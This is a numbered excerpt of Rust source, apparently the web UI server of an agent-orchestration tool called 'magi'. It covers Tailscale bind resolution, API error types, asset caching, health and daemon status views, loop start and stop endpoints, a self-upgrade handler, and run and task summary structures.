1674pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1680 match bind {
1681 Bind::Addr(addr) => (*addr, None),
1682 Bind::Auto => match tailscale_ip() {
1683 Ok(ip) => (IpAddr::V4(ip), None),
1684 Err(why) => (
1685 IpAddr::V4(Ipv4Addr::LOCALHOST),
1686 Some(format!(
1687 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1688 local-only and a phone cannot reach it; start Tailscale \
1689 or pass --bind <addr>"
1690 )),
1691 ),
1692 },
1693 }
1694}
1695
1696fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1704 let out = std::process::Command::new("tailscale")
1705 .args(["ip", "-4"])
1706 .quiet()
1707 .output()
1708 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1709 if !out.status.success() {
1710 let why = String::from_utf8_lossy(&out.stderr);
1711 let why = why.trim();
1712 return Err(format!(
1713 "`tailscale ip -4` failed ({}){}",
1714 out.status,
1715 if why.is_empty() {
1716 String::new()
1717 } else {
1718 format!(": {why}")
1719 }
1720 ));
1721 }
1722 String::from_utf8_lossy(&out.stdout)
1723 .lines()
1724 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1725 .find(is_tailnet)
1726 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1727}
1728
1729fn is_tailnet(ip: &Ipv4Addr) -> bool {
1731 let o = ip.octets();
1732 o[0] == 100 && (64..=127).contains(&o[1])
1733}
1734
1735type ApiResult<T> = std::result::Result<T, ApiError>;
1739
1740#[derive(Debug)]
1742struct ApiError {
1743 status: StatusCode,
1744 message: String,
1745}
1746
1747impl ApiError {
1748 fn bad_request(message: impl Into<String>) -> Self {
1750 Self {
1751 status: StatusCode::BAD_REQUEST,
1752 message: message.into(),
1753 }
1754 }
1755
1756 fn not_found(message: impl Into<String>) -> Self {
1758 Self {
1759 status: StatusCode::NOT_FOUND,
1760 message: message.into(),
1761 }
1762 }
1763
1764 fn with_status(mut self, status: StatusCode) -> Self {
1767 self.status = status;
1768 self
1769 }
1770
1771 fn bad_request_from(e: anyhow::Error) -> Self {
1775 Self::bad_request(format!("{e:#}"))
1776 }
1777
1778 fn conflict(message: impl Into<String>) -> Self {
1779 Self {
1780 status: StatusCode::CONFLICT,
1781 message: message.into(),
1782 }
1783 }
1784
1785 fn internal(message: impl Into<String>) -> Self {
1787 Self {
1788 status: StatusCode::INTERNAL_SERVER_ERROR,
1789 message: message.into(),
1790 }
1791 }
1792}
1793
1794impl From<anyhow::Error> for ApiError {
1795 fn from(e: anyhow::Error) -> Self {
1800 Self::internal(format!("{e:#}"))
1801 }
1802}
1803
1804impl IntoResponse for ApiError {
1805 fn into_response(self) -> Response {
1806 let body = serde_json::json!({ "error": self.message });
1807 (self.status, Json(body)).into_response()
1808 }
1809}
1810
1811async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1820where
1821 T: Send + 'static,
1822{
1823 match tokio::task::spawn_blocking(job).await {
1824 Ok(result) => result,
1825 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1826 }
1827}
1828
1829const ASSET_CACHE: &str = "no-cache, must-revalidate";
1847
1848fn asset_etag() -> &'static str {
1855 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1856 format!(
1857 "\"{}-{}\"",
1858 env!("CARGO_PKG_VERSION"),
1859 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1864 )
1865 });
1866 &TAG
1867}
1868
1869fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1871 [
1872 (header::CONTENT_TYPE, mime),
1873 (header::CACHE_CONTROL, ASSET_CACHE),
1874 (header::ETAG, asset_etag()),
1875 ]
1876}
1877
1878fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1886 let tag = asset_etag();
1887 let known = headers
1888 .get(header::IF_NONE_MATCH)
1889 .and_then(|v| v.to_str().ok())
1890 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1894 if known {
1895 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1896 }
1897 (asset_headers(mime), body).into_response()
1898}
1899
1900async fn index(headers: header::HeaderMap) -> Response {
1901 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1902}
1903
1904async fn app_css(headers: header::HeaderMap) -> Response {
1905 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1906}
1907
1908async fn app_js(headers: header::HeaderMap) -> Response {
1909 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1910}
1911
1912#[derive(Debug, Serialize)]
1914struct HealthView {
1915 version: &'static str,
1916 home: String,
1917 queue_rev: u64,
1918 runs_rev: u64,
1919 questions_rev: u64,
1931 talks_rev: u64,
1933 notifications_rev: u64,
1935 notifications_unread: usize,
1938 loop_rev: u64,
1943 runs_unreadable: usize,
1951 disk: DiskView,
1959 questions_open: usize,
1965 questions_needs_owner: usize,
1975 daemon: DaemonView,
1976 #[serde(rename = "loop")]
1982 looping: LoopView,
1983 update: UpdateView,
1990 upgrade: Option<UpgradeProgressView>,
1994}
1995
1996#[derive(Debug, Serialize)]
2003struct UpdateView {
2004 available: bool,
2006 to: Option<String>,
2008}
2009
2010#[derive(Debug, Serialize)]
2012struct UpgradeProgressView {
2013 stage: updater::Stage,
2014 from: String,
2015 to: Option<String>,
2016 waiting_on: Option<String>,
2019 started_at: Timestamp,
2020 updated_at: Timestamp,
2021 detail: Option<String>,
2022 stuck_for_secs: Option<i64>,
2025 stuck_kind: Option<updater::StallKind>,
2028 handover_alive: bool,
2031}
2032
2033fn should_spawn_recheck(cfg: &Update) -> bool {
2040 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2041}
2042
2043fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2055 if progress.is_some_and(|p| !p.stage.terminal()) {
2056 return false;
2057 }
2058 checker.should_check()
2059}
2060
2061fn recheck_poll_period(cfg: &Update) -> Duration {
2074 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2075}
2076
2077async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2101 loop {
2102 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2103 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2104 if !should_spawn_recheck(&cfg.update) {
2105 continue;
2106 }
2107 let Some(checker) = updater::Checker::new(&cfg.update) else {
2108 continue;
2109 };
2110 let progress = updater::read_progress(&home);
2111 if !update_recheck_due(&checker, progress.as_ref()) {
2112 continue;
2113 }
2114 if let Err(e) = checker.newer_release().await {
2115 tracing::warn!("background update recheck failed: {e:#}");
2116 }
2117 }
2118}
2119
2120fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2126 let default;
2127 let cfg = match cfg {
2128 Some(cfg) => cfg,
2129 None => {
2130 default = Config::default();
2131 &default
2132 }
2133 };
2134 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2135 match latest {
2136 Some(latest) => UpdateView {
2137 available: true,
2138 to: Some(latest.tag_name),
2139 },
2140 None => UpdateView {
2141 available: false,
2142 to: None,
2143 },
2144 }
2145}
2146
2147fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2153 let now = Timestamp::now();
2154 let lease = updater::read_lease(&ui.home);
2155 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2156 let run_id = alive
2157 .and_then(|l| l.parked_run.as_deref())
2158 .or(progress.parked_run.as_deref());
2159 let parking = progress.stage == updater::Stage::Parking;
2160 let waited = alive.map_or_else(String::new, |l| {
2161 let secs = updater::waited_secs(l, now);
2162 format!(" (waited {} min so far)", secs / 60)
2163 });
2164 let run_text = run_id
2165 .filter(|_| parking)
2166 .map(|id| match read_run(&ui.runs, id).ok() {
2167 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2168 None => format!("run {id} is finishing"),
2169 });
2170 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2171 .filter(|t| parking && !t.is_empty())
2172 .map(|t| format!("{t} finishing"));
2173 let waiting_on = match (run_text, talks_text) {
2174 (None, None) => None,
2175 (run, talks) => {
2176 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2177 Some(format!(
2178 "{} before the address is handed over{waited}",
2179 parts.join(" and ")
2180 ))
2181 }
2182 };
2183 let detail = progress
2184 .detail
2185 .clone()
2186 .or_else(|| updater::read_note(&ui.home, &progress));
2187 let stalled = updater::stall(&progress, lease.as_ref(), now);
2188 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2189 UpgradeProgressView {
2190 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2191 stuck_kind: stalled.map(|s| s.kind),
2192 handover_alive: alive.is_some(),
2193 stage: progress.stage,
2194 from: progress.from,
2195 to: progress.to,
2196 waiting_on,
2197 started_at: progress.started_at,
2198 updated_at: progress.updated_at,
2199 detail,
2200 }
2201}
2202
2203#[derive(Debug, Serialize)]
2208struct DiskView {
2209 #[serde(skip_serializing_if = "Option::is_none")]
2211 free_bytes: Option<u64>,
2212 runs_bytes: u64,
2214 worktrees_bytes: u64,
2216 #[serde(skip_serializing_if = "Option::is_none")]
2218 cache_bytes: Option<u64>,
2219}
2220
2221impl DiskView {
2222 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2224 let cache_bytes = cfg
2225 .and_then(|cfg| cfg.cache_dir())
2226 .map(|dir| crate::disk::dir_size(&dir));
2227 Self {
2228 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2229 runs_bytes: crate::disk::dir_size(&ui.runs),
2230 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2231 cache_bytes,
2232 }
2233 }
2234}
2235
2236#[derive(Debug, Serialize)]
2238struct DaemonView {
2239 running: bool,
2240 idle: Option<bool>,
2241 pid: Option<u32>,
2242 current: Vec<daemon::Current>,
2246 completed: Option<u64>,
2247 stale_for_secs: Option<i64>,
2248}
2249
2250impl DaemonView {
2251 fn of(status: Option<daemon::Reading>) -> Self {
2255 let Some(status) = status else {
2256 return Self {
2257 running: false,
2258 idle: None,
2259 pid: None,
2260 current: Vec::new(),
2261 completed: None,
2262 stale_for_secs: None,
2263 };
2264 };
2265 let now = Timestamp::now();
2266 let age = status.age_secs(now);
2267 Self {
2268 running: status.running(now),
2269 idle: Some(status.idle),
2270 pid: status.pid,
2271 current: status.current,
2272 completed: Some(status.completed),
2273 stale_for_secs: age,
2274 }
2275 }
2276}
2277
2278async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2279 blocking(move || {
2280 let reading = daemon::read_status(&ui.home);
2284 let loop_rev = ui.lock_loop().rev;
2288 let cfg = deputy_config(&ui.repo);
2291 let update = cached_update_view(cfg.as_ref());
2292 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2293 Ok(Json(HealthView {
2294 version: env!("CARGO_PKG_VERSION"),
2295 home: ui.home.display().to_string(),
2296 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2297 runs_rev: runs_revision(&ui.runs),
2298 questions_rev: ui.questions.revision(),
2299 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2300 notifications_rev: ui.notices.revision(),
2301 notifications_unread: ui.notices.count_unread(),
2302 loop_rev,
2303 runs_unreadable: runs_unreadable(&ui.runs),
2304 questions_open: ui.questions.count_open(),
2305 questions_needs_owner: ui.questions.count_needs_owner(),
2306 daemon: DaemonView::of(reading.clone()),
2307 looping: ui.loop_view(reading),
2308 disk: DiskView::of(&ui, cfg.as_ref()),
2309 update,
2310 upgrade,
2311 }))
2312 })
2313 .await
2314}
2315
2316#[derive(Debug, Serialize)]
2318struct LoopView {
2319 running: bool,
2321 stopping: bool,
2329 parking: bool,
2337 owned: bool,
2345 repo: String,
2348 merge: Option<String>,
2351 last_error: Option<String>,
2359 daemon: DaemonView,
2362}
2363
2364#[derive(Debug, Clone, Copy)]
2373struct Foreign {
2374 pid: Option<u32>,
2376}
2377
2378impl Foreign {
2379 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2382 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2386 }
2387
2388 fn who(&self) -> String {
2391 match self.pid {
2392 Some(pid) => format!("another magi process (pid {pid})"),
2393 None => "another magi process".to_owned(),
2394 }
2395 }
2396}
2397
2398type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2403
2404fn launch_daemon(
2406 opts: daemon::Opts,
2407 stop: daemon::Stop,
2408) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2409 Box::pin(daemon::serve_until(opts, stop))
2410}
2411
2412#[derive(Debug, Default)]
2414struct LoopState {
2415 live: Option<Live>,
2417 rev: u64,
2425 last_error: Option<String>,
2428 resume_after_handover: bool,
2433}
2434
2435#[derive(Debug)]
2437struct Live {
2438 stop: daemon::Stop,
2440 handle: tokio::task::JoinHandle<()>,
2445 opts: daemon::Opts,
2449}
2450
2451impl Live {
2452 fn alive(&self) -> bool {
2454 !self.handle.is_finished()
2455 }
2456}
2457
2458fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2465 state.lock().unwrap_or_else(PoisonError::into_inner)
2466}
2467
2468async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2470 blocking(move || {
2471 let reading = daemon::read_status(&ui.home);
2472 Ok(Json(ui.loop_view(reading)))
2473 })
2474 .await
2475}
2476
2477#[derive(Debug, Deserialize)]
2483#[serde(deny_unknown_fields)]
2484struct LoopCommand {
2485 running: bool,
2486 #[serde(default)]
2496 park: bool,
2497}
2498
2499async fn loop_post(
2507 State(ui): State<Arc<Ui>>,
2508 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2509) -> ApiResult<Json<LoopView>> {
2510 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2513 blocking(move || {
2514 let reading = daemon::read_status(&ui.home);
2515 let foreign = Foreign::of(reading.as_ref());
2516 if body.running {
2517 ui.start_loop(foreign)?;
2518 } else {
2519 ui.stop_loop(foreign, body.park)?;
2520 }
2521 Ok(Json(ui.loop_view(reading)))
2522 })
2523 .await
2524}
2525
2526#[derive(Debug, Serialize)]
2528struct UpgradeView {
2529 from: String,
2531 to: Option<String>,
2533 parked: Option<String>,
2535 detail: String,
2537}
2538
2539fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2542 progress.filter(|p| !p.stage.terminal())
2543}
2544
2545async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2569 let reading = daemon::read_status(&ui.home);
2570 if let Some(other) = Foreign::of(reading.as_ref()) {
2571 return Err(ApiError::conflict(format!(
2572 "the loop belongs to {}, so replacing this binary would leave \
2573 that process running an old one against the same queue. Upgrade \
2574 where it was started.",
2575 other.who()
2576 )));
2577 }
2578
2579 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2584 return Err(ApiError::conflict(
2585 "another request is already preparing an upgrade",
2586 ));
2587 };
2588 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2589 return Err(ApiError::conflict(
2590 "an upgrade is already in progress (this process started one and it \
2591 has not finished or failed yet)",
2592 ));
2593 }
2594 let recorded = updater::read_progress(&ui.home);
2595 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2596 return Err(ApiError::conflict(format!(
2597 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2598 stays stuck, restart the deck; on start it settles a stale record.",
2599 p.stage.as_str(),
2600 p.from,
2601 p.to.as_deref().unwrap_or("?"),
2602 )));
2603 }
2604
2605 if crate::updater::disabled_by_env() {
2611 return Ok((
2612 StatusCode::OK,
2613 Json(UpgradeView {
2614 from: env!("CARGO_PKG_VERSION").to_owned(),
2615 to: None,
2616 parked: None,
2617 detail: format!(
2618 "Automatic updates are disabled by {}. Nothing was parked \
2619 and nothing restarted.",
2620 crate::updater::NO_AUTOUPDATE_ENV
2621 ),
2622 }),
2623 ));
2624 }
2625
2626 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2631 let from = env!("CARGO_PKG_VERSION").to_owned();
2632 let latest = match crate::updater::Checker::new(&cfg.update) {
2633 Some(checker) => checker
2634 .newer_release()
2635 .await
2636 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2637 None => None,
2638 };
2639 let Some(latest) = latest else {
2640 return Ok((
2641 StatusCode::OK,
2642 Json(UpgradeView {
2643 from,
2644 to: None,
2645 parked: None,
2646 detail: "Already on the newest release. Nothing was parked \
2647 and nothing restarted."
2648 .to_owned(),
2649 }),
2650 ));
2651 };
2652
2653 let parked = ui.park_for_upgrade()?;
2656 let detail = match &parked {
2657 Some(run) => format!(
2662 "Run {} is parking at its next step, which can take as long as \
2663 the step it is on - up to an hour for an implement wave. The \
2664 deck replaces itself once it parks, comes back, and the loop \
2665 carries that run on from where it stopped. Nothing is lost if \
2666 you close this.",
2667 crate::run::short_of(run)
2668 ),
2669 None => "The deck replaces itself and comes back. Nothing was in \
2670 flight to park."
2671 .to_owned(),
2672 };
2673
2674 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2678 progress.parked_run = parked.clone();
2679 updater::write_progress_logged(&ui.home, &progress);
2683
2684 let home = ui.home.clone();
2685 let looping = ui.looping();
2686 ui.upgrade_spawned
2687 .store(true, std::sync::atomic::Ordering::SeqCst);
2688 let spawned = Arc::clone(&ui.upgrade_spawned);
2689 tokio::spawn(async move {
2690 if let Err(e) = upgrade_and_restart(home.clone()).await {
2691 tracing::error!("the upgrade did not complete: {e:#}");
2692 lock_or_recover(&looping).resume_after_handover = false;
2693 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2697 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2700 }
2701 });
2702
2703 Ok((
2704 StatusCode::ACCEPTED,
2705 Json(UpgradeView {
2706 from,
2707 to: Some(latest.tag_name),
2708 parked,
2709 detail,
2710 }),
2711 ))
2712}
2713
2714async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2719 crate::updater::run_self_update(true, false, true).await?;
2722 updater::log_step(&home, "binary replaced - recording the replaced stage");
2723 if let Some(mut progress) = updater::read_progress(&home) {
2724 progress.advance(updater::Stage::Replaced);
2725 updater::write_progress_logged(&home, &progress);
2726 }
2727 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2728 HANDOVER.notify_one();
2729 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2730 Ok(())
2731}
2732
2733#[derive(Debug, Serialize)]
2739struct RunSummary {
2740 id: String,
2741 short: String,
2742 status: String,
2743 done: bool,
2744 instruction: String,
2745 title: String,
2746 repo: String,
2747 repo_name: String,
2748 created_at: String,
2749 updated_at: String,
2750 candidates: usize,
2751 viable: usize,
2752 judges: usize,
2753 winner: Option<char>,
2754 reviews: usize,
2755 quota_losses: usize,
2756 event: Option<String>,
2757 superseded_by: Option<String>,
2762 waiting: bool,
2769 live: crate::run::Liveness,
2773 pr: Option<crate::run::PrRecord>,
2775 unmerged_by_design: bool,
2781 #[serde(default)]
2784 display_status: String,
2785 origin_label: String,
2788}
2789
2790impl RunSummary {
2791 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2792 Self {
2793 id: state.id.clone(),
2794 short: state.short().to_owned(),
2795 status: status_word(state.status),
2796 done: state.status.done(),
2797 unmerged_by_design: state.unmerged_by_design(),
2798 display_status: run_display_status(state, waiting, live),
2799 instruction: state.instruction.clone(),
2800 title: title_from(&state.instruction, TITLE_MAX),
2801 repo: state.repo.display().to_string(),
2802 repo_name: state
2803 .repo
2804 .file_name()
2805 .map(|n| n.to_string_lossy().into_owned())
2806 .unwrap_or_default(),
2807 created_at: state.created_at.to_string(),
2808 updated_at: state.updated_at.to_string(),
2809 candidates: state.candidates.len(),
2810 viable: state.viable().len(),
2811 judges: state.config.graph.judges,
2812 winner: state.winner().map(|c| c.label),
2813 reviews: state.reviews.len(),
2814 quota_losses: state.quota.len(),
2815 event: state.events.last().map(|e| e.message.clone()),
2816 waiting,
2817 live,
2818 superseded_by: None,
2821 pr: state.pr.clone(),
2822 origin_label: crate::run::origin_label(state.origin.as_ref()),
2823 }
2824 }
2825}
2826
2827fn status_word(status: RunStatus) -> String {
2830 status.as_str().to_owned()
2834}
2835
2836fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
2842 if waiting {
2843 return "waiting".to_owned();
2844 }
2845 if state.unmerged_by_design() {
2846 return "unmerged".to_owned();
2847 }
2848 if !state.status.done() && live == crate::run::Liveness::Dead {
2849 if state.parked {
2852 return "parked".to_owned();
2853 }
2854 return "stale".to_owned();
2855 }
2856 status_word(state.status)
2857}
2858
2859#[derive(Debug, Deserialize)]
2861struct ListQuery {
2862 #[serde(default)]
2863 limit: Option<usize>,
2864 ids: Option<String>,
2866}
2867
2868impl ListQuery {
2869 fn contains(&self, id: &str) -> bool {
2870 self.ids
2871 .as_ref()
2872 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2873 }
2874}
2875
2876async fn runs_list(
2877 State(ui): State<Arc<Ui>>,
2878 Query(q): Query<ListQuery>,
2879) -> ApiResult<Json<Vec<RunSummary>>> {
2880 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2881 blocking(move || {
2882 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2883 let states = run_ids(&ui.runs)
2884 .into_iter()
2885 .filter_map(|id| read_run(&ui.runs, &id).ok())
2890 .take(limit)
2891 .filter(|run| q.contains(&run.id));
2892 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2893 let summaries = summarize(
2894 states,
2895 &open_runs,
2896 &claimed,
2897 &superseded,
2898 |p| probe.borrow_mut().status(p),
2899 |p| probe.borrow_mut().started_at(p),
2900 );
2901 Ok(Json(summaries))
2902 })
2903 .await
2904}
2905
2906fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2911 let open_runs: HashSet<String> = ui
2912 .questions
2913 .list()
2914 .into_iter()
2915 .filter(|q| q.status.open())
2916 .map(|q| q.run)
2917 .collect();
2918 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2919 .into_iter()
2920 .map(|c| c.run)
2921 .collect();
2922 (open_runs, claimed, ui.queue.superseded())
2923}
2924
2925fn summarize<I, S, D>(
2931 states: I,
2932 open_runs: &HashSet<String>,
2933 claimed: &HashSet<String>,
2934 superseded: &HashMap<String, String>,
2935 mut status_q: S,
2936 mut identity_q: D,
2937) -> Vec<RunSummary>
2938where
2939 I: IntoIterator<Item = RunState>,
2940 S: FnMut(u32) -> Option<bool>,
2941 D: FnMut(u32) -> Option<String>,
2942{
2943 states
2944 .into_iter()
2945 .map(|state| {
2946 let waiting = open_runs.contains(&state.id);
2947 let live =
2948 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2949 let mut row = RunSummary::of(&state, waiting, live);
2950 row.superseded_by = state
2951 .pr_taken_over_by
2952 .as_ref()
2953 .or_else(|| superseded.get(&state.id))
2954 .map(String::as_str)
2955 .map(crate::run::short_of)
2956 .map(str::to_owned);
2957 row
2958 })
2959 .collect()
2960}
2961
2962#[derive(Debug, Serialize)]
2969struct RunDetailView {
2970 #[serde(flatten)]
2971 state: RunState,
2972 instruction_md: Vec<md::Node>,
2973 #[serde(flatten)]
2977 prose_md: RunProseMd,
2978 live: crate::run::Liveness,
2993 unmerged_by_design: bool,
2998 #[serde(default)]
3000 waiting: bool,
3001 #[serde(default)]
3003 display_status: String,
3004 done: bool,
3009 superseded_by: Option<String>,
3017 latest_attempt: Option<LatestAttempt>,
3031 task: Option<TaskRef>,
3034 origin_label: String,
3038}
3039
3040#[derive(Debug, Serialize)]
3042struct TaskRef {
3043 id: String,
3044 short: String,
3045 title: String,
3046 source_label: String,
3048 source_link: Option<SourceLink>,
3050 status: &'static str,
3052 attempts: usize,
3053 max_attempts: usize,
3054 is_latest: bool,
3056 latest: Option<RunBrief>,
3058 finished_by: Option<RunBrief>,
3060 closed_by_hand: bool,
3062}
3063
3064#[derive(Debug, PartialEq, Eq, Serialize)]
3066struct SourceLink {
3067 kind: &'static str,
3069 id: String,
3071 href: String,
3073}
3074
3075fn encode_segment(raw: &str) -> String {
3077 let mut out = String::with_capacity(raw.len());
3078 for b in raw.bytes() {
3079 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3080 out.push(b as char);
3081 } else {
3082 out.push_str(&format!("%{b:02X}"));
3083 }
3084 }
3085 out
3086}
3087
3088fn source_link(source: &Source) -> Option<SourceLink> {
3092 let Source::Agent { run, node } = source else {
3093 return None;
3094 };
3095 let (kind, route) = if node == crate::queue::CHAT_NODE {
3096 ("chat", "chat")
3097 } else {
3098 ("run", "runs")
3099 };
3100 Some(SourceLink {
3101 kind,
3102 id: run.clone(),
3103 href: format!("#/{route}/{}", encode_segment(run)),
3104 })
3105}
3106
3107#[derive(Debug, Serialize, PartialEq)]
3109struct FollowUpParent {
3110 id: String,
3111 short: String,
3112 title: String,
3113 status: &'static str,
3115 href: String,
3116}
3117
3118#[derive(Debug, Serialize, PartialEq)]
3120struct FollowUpRun {
3121 id: String,
3122 short: String,
3123 status: Option<&'static str>,
3125 href: Option<String>,
3127}
3128
3129#[derive(Debug, Serialize, PartialEq)]
3132struct FollowUpOrigin {
3133 parent: Option<FollowUpParent>,
3135 run: FollowUpRun,
3136 pr: String,
3141 findings: Vec<String>,
3142 generation: u32,
3143}
3144
3145fn followup_origin(
3148 fu: &crate::queue::FollowUp,
3149 task: impl Fn(&str) -> Option<Task>,
3150 run: impl Fn(&str) -> Option<RunState>,
3151) -> FollowUpOrigin {
3152 let parent = fu
3153 .origin_task
3154 .as_deref()
3155 .and_then(task)
3156 .map(|t| FollowUpParent {
3157 short: t.short().to_owned(),
3158 href: format!("#/tasks/{}", encode_segment(&t.id)),
3159 status: t.status.as_str(),
3160 title: t.title,
3161 id: t.id,
3162 });
3163 let state = run(&fu.run);
3164 FollowUpOrigin {
3165 parent,
3166 run: FollowUpRun {
3167 short: run::short_of(&fu.run).to_owned(),
3168 status: state.as_ref().map(|s| s.status.as_str()),
3169 href: state
3170 .is_some()
3171 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3172 id: fu.run.clone(),
3173 },
3174 pr: fu.pr.clone(),
3175 findings: fu.findings.clone(),
3176 generation: fu.generation,
3177 }
3178}
3179
3180#[derive(Debug, Serialize)]
3182struct RunBrief {
3183 id: String,
3184 short: String,
3185 status: Option<&'static str>,
3187 outcome: String,
3189}
3190
3191fn task_outcome(
3194 task: &Task,
3195 this_run: &str,
3196 max_attempts: usize,
3197 read: impl Fn(&str) -> Option<RunState>,
3198) -> TaskRef {
3199 let history = task_history(task, read);
3200 let brief = |h: &TaskRunView| RunBrief {
3201 id: h.id.clone(),
3202 short: h.short.clone(),
3203 status: h.status,
3204 outcome: h.exit.edge_label(h.status),
3205 };
3206 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3207 let latest = if is_latest {
3208 None
3209 } else {
3210 history.last().map(brief)
3211 };
3212 let done = task.status == TaskStatus::Done;
3213 let finished_by = done
3214 .then(|| {
3215 history
3216 .iter()
3217 .rev()
3218 .find(|h| {
3219 matches!(
3220 h.exit,
3221 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3222 )
3223 })
3224 .map(brief)
3225 })
3226 .flatten();
3227 TaskRef {
3228 short: task.short().to_owned(),
3229 title: task.title.clone(),
3230 id: task.id.clone(),
3231 source_label: task.source.label(),
3232 source_link: source_link(&task.source),
3233 status: task.status.as_str(),
3234 attempts: task.attempts,
3235 max_attempts,
3236 is_latest,
3237 latest,
3238 closed_by_hand: done && finished_by.is_none(),
3239 finished_by,
3240 }
3241}
3242
3243#[derive(Debug, Serialize)]
3245struct LatestAttempt {
3246 id: String,
3247 short: String,
3248 resolved: bool,
3259 status: RunStatus,
3262 done: bool,
3264}
3265
3266#[derive(Debug, Default, Serialize)]
3268struct RunProseMd {
3269 advice_md: Option<AdviceMd>,
3271 candidate_summaries_md: Vec<Vec<md::Node>>,
3273 reviews_md: Vec<RoundMd>,
3275}
3276
3277#[derive(Debug, Default, Serialize)]
3278struct AdviceMd {
3279 synthesis: Vec<md::Node>,
3280 approaches: Vec<Vec<md::Node>>,
3282}
3283
3284#[derive(Debug, Default, Serialize)]
3285struct RoundMd {
3286 reviewers: Vec<ReviewerMd>,
3288 reconsideration: Vec<Vec<md::Node>>,
3290 fix: Option<FixMd>,
3291}
3292
3293#[derive(Debug, Default, Serialize)]
3294struct ReviewerMd {
3295 summary: Vec<md::Node>,
3296 findings: Vec<Vec<md::Node>>,
3298}
3299
3300#[derive(Debug, Default, Serialize)]
3301struct FixMd {
3302 notes: Vec<md::Node>,
3303 rejected: Vec<Vec<md::Node>>,
3305}
3306
3307fn run_prose_md(state: &RunState) -> RunProseMd {
3309 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3310 RunProseMd {
3311 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3312 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3313 approaches: a
3314 .records
3315 .iter()
3316 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3317 .collect(),
3318 }),
